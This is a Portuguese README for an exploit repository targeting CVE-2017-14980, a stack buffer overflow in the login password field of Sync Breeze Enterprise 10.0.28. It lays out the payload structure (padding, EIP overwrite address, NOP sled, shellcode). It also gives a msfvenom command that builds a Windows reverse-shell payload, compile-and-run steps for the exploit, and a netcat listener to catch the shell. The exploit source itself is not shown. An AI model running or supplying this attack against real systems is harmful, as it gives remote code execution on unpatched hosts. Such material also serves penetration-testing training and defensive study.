# Exploit - CVE-2017-14980 - Sync Breeze Enterprise v10.0.28
Este repositório contém um exploit de **buffer overflow (BOF)** para a aplicação **Sync Breeze Enterprise** na versão **10.0.28**, explorando a vulnerabilidade identificada como **CVE-2017-14980**.
## 📌 Descrição
A vulnerabilidade ocorre devido à ausência de validação adequada no processamento do campo `password` durante uma requisição `POST` para o endpoint `/login`. Um atacante pode enviar um valor excessivamente longo neste campo e sobrescrever o **EIP**, permitindo a execução arbitrária de código.
Este exploit envia um payload cuidadosamente construído com:
- 520 bytes de preenchimento (`'A'`)
- 4 bytes para sobrescrever o EIP
- Um **NOP sled** de 20 bytes
- Um **shellcode Windows x86** que pode ser ajustado para execução de comandos arbitrários
## ⚙️ Como funciona
1. Constrói o buffer malicioso com o shellcode embutido.
2. Envia uma requisição HTTP `POST` para o servidor com o payload no campo `password`.
3. Ao processar a requisição, o aplicativo vulnerável sobrescreve o ponteiro de instrução (EIP) e executa o shellcode.
## 🛠️ Requisitos
- Compilador C (ex: `gcc`)
- Acesso à rede com o alvo rodando Sync Breeze Enterprise 10.0.28
- Ajuste do endereço de EIP (`\x83\x0C\x09\x10`) e shellcode, se necessário
- msfvenom -p windows/shell_reverse_tcp LHOST=<SEU_IP> LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0d" -f c
## 🧪 Execução
```bash
gcc exploit.c -o exploit
./exploit
```
Em outro terminal:
```bash
nc -nlvp 4444
[4.0K] /data/pocs/b7092e9c343ea902628115f6413cbde0a39785d3
├── [4.1K] exploit.c
└── [1.5K] README.md
0 directories, 2 files